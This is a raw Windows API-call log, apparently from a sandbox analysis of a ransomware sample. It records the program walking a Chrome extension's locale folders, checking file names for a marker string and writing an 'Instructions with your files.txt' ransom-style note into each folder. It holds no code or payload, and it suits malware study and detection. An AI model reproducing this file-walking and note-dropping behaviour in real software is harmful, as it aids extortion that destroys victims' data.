[0130.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.090] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\.") returned 143
[0130.090] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.090] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\..") returned 144
[0130.090] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.090] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 155
[0130.090] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.090] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.090] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\Instructions with your files.txt") returned 174
[0130.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.090] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.091] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.091] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.091] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.092] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.092] CloseHandle (hObject=0x134) returned 1
[0130.092] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.092] GetProcessHeap () returned 0x810000
[0130.092] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.092] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0130.092] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko") returned 141
[0130.092] GetProcessHeap () returned 0x810000
[0130.092] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*") returned 143
[0130.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\.") returned 143
[0130.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\..") returned 144
[0130.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 155
[0130.092] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.093] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\Instructions with your files.txt") returned 174
[0130.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.093] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.094] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.094] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.094] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.094] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.094] CloseHandle (hObject=0x134) returned 1
[0130.094] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.094] GetProcessHeap () returned 0x810000
[0130.094] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.094] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0130.094] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned 141
[0130.094] GetProcessHeap () returned 0x810000
[0130.094] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*") returned 143
[0130.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.095] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\.") returned 143
[0130.095] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.095] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\..") returned 144
[0130.095] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.095] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 155
[0130.095] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.095] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.095] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\Instructions with your files.txt") returned 174
[0130.095] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.095] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.096] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.096] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.096] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.096] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.097] CloseHandle (hObject=0x134) returned 1
[0130.097] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.097] GetProcessHeap () returned 0x810000
[0130.097] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.097] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0130.097] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned 141
[0130.097] GetProcessHeap () returned 0x810000
[0130.097] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*") returned 143
[0130.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\.") returned 143
[0130.097] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\..") returned 144
[0130.097] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 155
[0130.097] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.098] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.098] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\Instructions with your files.txt") returned 174
[0130.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
